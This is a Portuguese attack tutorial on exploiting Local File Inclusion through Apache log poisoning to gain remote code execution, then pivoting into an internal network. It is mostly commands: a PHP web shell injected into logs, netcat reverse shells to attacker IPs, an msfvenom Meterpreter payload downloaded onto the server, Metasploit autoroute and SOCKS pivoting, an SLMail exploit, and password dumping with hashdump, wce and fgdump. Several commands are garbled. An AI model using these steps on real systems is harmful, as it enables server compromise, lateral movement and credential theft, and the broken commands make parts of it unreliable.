Quando um servidor está vulnerável à Inclusão de Arquivos Locais (LFI), isso pode permitir a inserção de um script PHP malicioso que possibilita a execução de comandos arbitrários no servidor. Esse tipo de vulnerabilidade é conhecido como Execução Remota de Código (RCE).
Para explorar essa vulnerabilidade, podemos utilizar o Netcat para enviar o script PHP ao servidor, que o aceitará e o incluirá nos arquivos de logs.
nc -v www.webhhh.com.br 80
Após estabelecer a conexão, envie o seguinte script para o arquivo de log:
<?php system($_GET['cmd']); ?>
Este script será inserido no arquivo de log e interpretado pelo servidor.
Podemos verificar se o script foi inserido corretamente no arquivo de log utilizando o comando:
index.php?page=/../../var/log/apache2/access.log%00
Isso nos permitirá visualizar o script dentro do registro de login.
Para executar comandos no servidor, basta fornecer os parâmetros corretos na URL, como no exemplo a seguir:
index.php?cmd=ls -la&page=/../../var/log/apache2/access.log%00
Isso retornará todos os arquivos do diretório atual do servidor.
Além disso, podemos estabelecer uma conexão reversa com o servidor utilizando o Netcat.
nc -vnlp 443
Na URL vulnerável, envie o seguinte comando:
index.php?cmd=nc 198.1.1.1 443 -e/bin/bash&page=/../../var/log/apache2/access.log%00
Isso abrirá uma sessão de shell no servidor para a máquina do atacante.
Para uma abordagem mais sofisticada, podemos criar uma shell maliciosa usando o Metasploit.
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=186.236.110.228 lport=8443 -f elf > shell
Isso gera um binário chamado "shell" que estabelecerá uma conexão reversa com o Metasploit.
Iniciar Escuta e Enviar Shell:
nc -vnlp 443 < shell
index.php?cmd=nc 186.236.110.228 443 > /var/www/shell&page=/../../var/log/apache2/access.log%00
Após a conexão ser estabelecida o shell será enviado para o servidor no diretório /var/www/shell
Estabelecer Conexão com o sevidor para visualiar a shell:
nc -vnlp 443
index.php?cmd=nc 186.236.110.228 -e/bin/bash&page=/../../var/log/apache2/access.log%00
ls
Depois que a conexão é estabelecida, podemos utilizar o Metasploit para interagir com o servidor e executar comandos mais avançados.
service postgresql start msfconsole use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 186.236.110.228 set lport 8443 exploit
chmod 777 shell
.shell
Para explorar ainda mais a rede, podemos usar técnicas de pivotamento para acessar outras máquinas na rede interna do alvo.
Escolhendo o modulo para executar um proxy
background
Retorna todas as sessões
sessions -l
Estabelece conexão com a sessão 1
sessions -i 1
Estabelece conexão com a sessão 1
sessions -i 1
Exibe todos os modulos
run
Mostra todas as interfaces de rede
ifconfig
Mostra a rota no servidor
route
Estabelecer Rota na Rede Local do Alvo:
run autoroute -s 172.16.1.0/24
O comando run autoroute -p
é usado para exibir a rota do alvo.
Depois, executamos para podermos escolher um módulo para executar um proxy:
background use auxiliary/server/socks4a show options run
Para modificar a porta do proxy, podemos editar o arquivo de configuração /etc/proxychains.conf
usando um editor de texto, como o nano:
nano /etc/proxychains.conf
Escaneamento da Rede Local:
proxychains nmap -v -sf --open --top-ports -Ṕn 172.16.1.0/24
proxychains nmap -v -sf --open -p 110 -Ṕn 172.16.1.0/24
Suponhamos que tenhamos encontrado um computador na rede local com a porta 110 aberta. Podemos estabelecer uma conexão com esse computador utilizando o seguinte comando:
portfwd add -l 110 -p -r 110 -r 172.16.1.4
Este comando adiciona uma nova regra de redirecionamento de porta, que direciona o tráfego recebido na porta local 110 para a porta 110 no endereço IP remoto 172.16.1.4. Essa técnica é útil em cenários onde é necessário redirecionar o tráfego de entrada de uma porta local para uma porta específica em outro dispositivo na rede.
Quando executamos o comando abaixo, em vez de escanear nosso próprio computador, ele escaneará o IP local 172.16.1.4:
nmap -v -sV -p 110 127.0.0.1
Observe que passamos nosso IP local. No entanto, o Nmap escaneará o IP 172.16.1.4. Isso ocorre porque redirecionamos o tráfego recebido na porta 110 para a porta 110 do alvo, que é o IP 172.16.1.4.
O comando search slmail
é usado no Metasploit para procurar um exploit específico para o serviço slmail.
Além de acessar o servidor, podemos explorar estações de trabalho na rede utilizando exploits específicos.
use exploit/windows/pop3/seattelab_pass set RHOST 172.16.1.4 set payload windows/meterpreter/reverse_tcp set lport 110 set lhost 186.236.110.228 exploit
Esta técnica permite ganhar acesso a máquinas na rede e explorar suas vulnerabilidades.
O comando show options
exibe as opções disponíveis para configuração antes de executar o exploit.
O comando exploit
inicia a execução do exploit com as opções configuradas.
O comando hashdump
é utilizado para extrair e exibir as senhas dos administradores do sistema.
Os comandos:
upload /usr/share/wce/wce-universal.exe c:/
São usados para copiar arquivos específicos para o sistema alvo:
Os comandos:
upload /usr/share/windows-binaries/fgdump/fgdump.exe c:/
São usados para copiar arquivos específicos para o sistema alvo:
wce-universal.exe
é copiado para o diretório
C:/
.fgdump.exe
É copiado para o diretório
C:/
.Após a cópia dos arquivos, os seguintes comandos são executados:
shell
wce-universal.exe -w
É usado para executar o arquivo
wce-universal.exe
com a opção:
-w
, que pode ser usada para obter informações sobre as senhas do sistema.
fgdump.exe
É executado para extrair informações de senha do sistema.
O comando type pwdump.txt
é utilizado para exibir o conteúdo do arquivo pwdump.txt
.
Por fim, o comando exit
é utilizado para sair do shell e retornar ao prompt do Metasploit.
Com as técnicas apresentadas, é possível explorar e comprometer sistemas em uma rede, destacando a importância da segurança cibernética e da proteção contra ataques maliciosos.